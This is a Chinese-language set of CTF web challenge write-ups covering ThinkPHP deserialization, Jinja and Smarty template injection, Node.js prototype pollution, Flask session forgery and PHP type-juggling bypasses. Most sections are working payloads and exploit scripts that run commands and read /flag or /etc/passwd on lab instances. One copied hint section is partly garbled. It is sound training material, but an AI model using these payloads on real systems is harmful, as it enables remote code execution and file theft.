}

ls

1
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22ls%3B%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22ls%3B%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

ls;cd /;ls;cat /nssctfflag;

1
http://ip:port/Index/test
1
a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A27%3A%22ls%3Bcd+%2F%3Bls%3Bcat+%2Fnssctfflag%3B%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A27%3A%22ls%3Bcd+%2F%3Bls%3Bcat+%2Fnssctfflag%3B%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

结语:利用链分析,比较难,需要继续深入。

0x11-[CISCN2019 华东南赛区]Double Secret

考点:ssti

debug泄露代码

1
2
3
4
5
6
7
8
9
10
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'
return a

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import string
from urllib.parse import quote
import base64
from rc4 import rc4
import requests


def main(text=None):
plaintext = input('in:')
# plaintext = text
key = 'HereIsTreasure'
encrypted_data = rc4(plaintext,key)
print(encrypted_data)
print(quote(encrypted_data))

url = 'http://node1.anna.nssctf.cn:28789/secret?secret='+quote(encrypted_data)
res = requests.get(url=url).text
print(res)
if __name__ == '__main__':
# dic = string.printable
# for i in dic:
# main(i)
while True:
main()

'''
{{{}.__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /;cat /flag.txt').read()")}}

'''
1
.%14BH%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%91U%27%C2%B2m%C3%9F%3C5%C2%AE%2B%C2%9CP%C3%8F%3E%C3%A6%3E%C2%98H%C3%857%C3%8E%60%C2%AD%40%C2%8F%C3%94%C3%9F%231%C2%82%13%C2%AB%C2%B4RS%5D%C2%A5%15S%C2%903G%C3%86%C2%B8F%02%C3%8A%C2%AB%22%C3%BDv%05F%22%C3%A0C%C3%8F0%C3%AEo%C2%ACW%1E%03x%40%C2%99%C3%97W%C3%B0%C3%B4%C2%99%C3%B8%C3%A7%C2%8C%C3%B6/Z%C2%8C%C2%B8%C2%8D%C3%BF%C2%A8uU%C2%A0%C3%8D%1B%C2%94-D%1F%C3%9B%C3%8D%0D%3B6%0C%2A%C2%87%C3%AB%C2%9A6%3F%C3%A3%25%0F%14%C3%96.%C2%84%11%C2%96%C3%9F%C2%B6e%C3%AC%C2%A6Tm%C2%A2%C2%96m%C3%8AqP

结语:比较简单

0x12-[NSSRound#8 Basic]ez_node

考点:nodejs原型链污染、Balsn CTF 2022

参考:

https://www.ctfer.vip/problem/3484 //题目链接

http://gtg.ink/2023/02/11/ez-node-NSSCTF-round-8/ //出题人wp

https://hujiekang.top/posts/nodejs-require-rce/ //出题人 参考赛题分析,

https://blog.acheing.com/index.php/archives/4792/ //一个payload

https://blog.csdn.net/weixin_52585514/article/details/128985443 //参考wp

https://xz.aliyun.com/t/12383 //原型链污染 总结

https://blog.csdn.net/Charissa2017/article/details/105207422 //multer详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");

const PORT = process.env.port || 3000
const app = express();

global = "global"

app.listen(PORT, () => {
console.log(`listen at ${PORT}`);
});

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}


let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());

app.use(express.static("./public"));

app.post("/upload", (req, res) => {
try{
let oldName = req.files[0].path;
let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;
fs.renameSync(oldName, newName);
res.send({
err: 0,
url:
"./upload/" +
req.files[0].filename +
path.parse(req.files[0].originalname).ext
});
}
catch(error){
res.send(require('./err.js').getRandomErr())
}
});

app.post('/pollution', require('body-parser').json(), (req, res) => {
let data = {};
try{
merge(data, req.body);
res.send('Register successfully!tql')
require('./err.js').getRandomErr()
}
catch(error){
res.send(require('./err.js').getRandomErr())
}
})

payload

1
2
3
4
5
6
7
8
9
10
11
12
{"constructor":{
"prototype":{
"data":{
"exports":{
".":"./123f8fee34d43ac4e726dd96712e3b4a.js"
},
"name":"./err.js"
},
"path":"./upload"
}
}
}
1
2
3
4
5
6
obj={
getRandomErr:() => {
return require('child_process').execSync('cat /flag')
}
}
module.exports = obj

结语:看起来比较费劲,查了不少资料,还不完全明白。

0x13-[CISCN 2019华东南]Web11

参考:

https://www.cnblogs.com/rabbittt/p/13292242.html

https://yq1ng.github.io/2021/09/30/buu-ciscn2019-hua-dong-nan-sai-qu-web-fu-xian/#toc-heading-7

https://xz.aliyun.com/t/12220

此题,判断模板注入,以及判断是哪个引擎的模板注入还是有一些难度的。

主要是X-Forward-For参数可控,而且页面有回显IP地址,所以可以尝试注入;

PoC

1
X-Forward-For: {if phpinfo()}{/if}

exp

1
2
3
X-Forward-For: {if system('ls /')}{/if}
X-Forward-For: {if readfile('/flag')}{/if}
X-Forward-For: {if show_source('/flag')}{/if}

结语:比较简单,不过不太容易判断出来。

0x14-[CISCN 2019华东南]Web4

任意文件读取

1
http://node1.anna.nssctf.cn:28350/read?url=file:///etc/passwd
1
http://node1.anna.nssctf.cn:28350/read?url=local_file:///etc/passwd

file://不行、local_file://可以

1
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin glzjin:x:1000:1000:Linux User,,,:/app:/bin/ash

读源码

1
http://node1.anna.nssctf.cn:28350/read?url=local_file:///app/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# encoding:utf-8 
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! Read somethings'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run( debug=True, host="0.0.0.0" )

读取MAC地址

1
http://node1.anna.nssctf.cn:28350/read?url=local_file:///sys/class/net/eth0/address
1
02:42:ac:02:3b:e0

看到这里,发现和前两天的一道题非常相似,可能那个出题人仿的这个题吧

flask_session_cookie_manager.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

对于key需要在python2中运行得到key

1
2
3
import random
random.seed(0x0242ac023be0)
print(str(random.random()*233))
1
2
3
4
5
6
7
8
9
                                                                                                      ┌──(kali㉿kali)-[~/Desktop]
└─$ python2
Python 2.7.18 (default, Aug 1 2022, 06:23:55)
[GCC 12.1.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import random
>>> random.seed(0x0242ac023be0)
>>> str(random.random()*233)
'56.9297845566'
1
56.9297845566

直接用这个跑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import random
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e



key = '56.9297845566'
session = 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZFmwHQ.DbS-DhNeEKXwuvrFoz2AaTfNkBo'
hack = ''
res = FSCM.decode(session, key)
print(res)


m = "{'username': b'fuck'}"
res = FSCM.encode(key,m)
print(res)

得到session

1
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZFmw6g.DcHDo-h8SOdZmmxqWn3j73ab8B8

访问/flag路由即可得到flag

结语:比前面做过的一个HDCTF的题简单了一些,应该就是根据这个题改的。

0x15-[ctfshow]php特性-web89

考点:preg_match、intval

参考-

https://blog.csdn.net/weixin_45551083/article/details/110494387

https://www.php.net/manual/zh/function.intval

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

payload

1
/?num[]=1

preg_match

1
参数为数组返回0

intval

1
2
3
1. intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
2. 成功时返回 value 的 integer 值,失败时返回 0。
3. 空的 array 返回 0,非空的 array 返回 1。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
echo intval(false); // 0
echo intval(true); // 1
?>

0x16-[ctfshow]php特性-web90

参考-

https://www.php.net/manual/zh/function.intval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

payload

1
/?num=0x117c

intval

1
2
3
4
5
注意:
如果 base 是 0,通过检测 value 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

0x17-[ctfshow]php特性-web91

参考-

https://blog.csdn.net/qq_46091464/article/details/108278486 //apache换行解析

https://blog.csdn.net/rfrder/article/details/112882464 //wp

https://blog.csdn.net/miuzzx/article/details/109168454#web9092939495_24 //wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

payload

1
2
3
?cmd=abc%0aphp
?cmd=%0aphp
?cmd=php%0aphp

正则表达式修饰符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行;

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;

0x18-[ctfshow]php特性-web92

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

payload

1
?num=4476e1
1
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
1
2
3
4
5
6
intval('4476.0')===4476    小数点  
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格

0x19-[ctfshow]周末大挑战1 and 4

1
?u=http://system('cd ..;cd ..;cd ..;ls;cat flag_is_here.txt;');/123
1
?u=http://cd ..;cd ..;cd ..;ls;cat 1_f1ag_1s_h3re;/123

结语:就看了这两个,等wp下来了再研究研究

0x20-[ctfshow]php特性-web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

hint

1
过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574

payload

1
?num=010574

0x21-[ctfshow]php特性-web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

hint

1
在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0

payload

1
4476,0

0x22-[ctfshow]php特性-web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

hint

1
可以通过8进制绕过但是前面必须多加一个字节 ?num=+010574或者?num=%2b010574

payload

1
2
?num= 010574
?num=+010574

0x23-[ctfshow]php特性-web96

考点:文件读取的姿势

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

hint

1
在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php

payload

1
2
3
?u=/var/www/html/flag.php
?u=./flag.php
?u=php://filter/resource=flag.php

0x24-[ctfshow]php特性-web97

考点:md5绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

hint

1
通过数组绕过 a[]=1&b[]=2

payload

1
a[]=1&b[]=2

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。
payload:a[]=1&b[]=2

md5弱比较,使用了强制类型转换后不再接收数组

1
2
3
4
5
6
7
8
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708

md5强碰撞

1
2
3
4
5
6
7
8
9
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

0x25-[ctfshow]php特性-web98

考点:三目运算符

1
2
3
4
5
6
7
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
https://www.php.cn/php-notebook-172859.html https://www.php.cn/php-weizijiaocheng-383293.html 考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码

<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9
10
11所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数
web99
payload: get : ?n=1.php
post:content=<?php system($_POST[1]);?>
web100
这道题基本上没有对参数进行过滤,所以直接执行命令
payload:
web101
https://segmentfault.com/q/1010000000770535
考察使用函数打印对象里面的属性。
我们可以出100的题里面看到提示,ctfshow.php里面就只有属性。并且最后的属性就是flag.
我们可以使用Reflectionclass类,打印类的结构
payload:
} i
f($_GET['flag']=='flag'){
$_GET=&$_SERVER;
}else{
'flag';
} i
f($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag
highlight_file($flag);
}else{
highlight_file(__FILE__);
}
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数

payload

1
get:1=1 post:HTTP_FLAG=flag

0x26-[ctfshow]php特性-web99

考点:in_array函数的漏洞

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>

hint

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
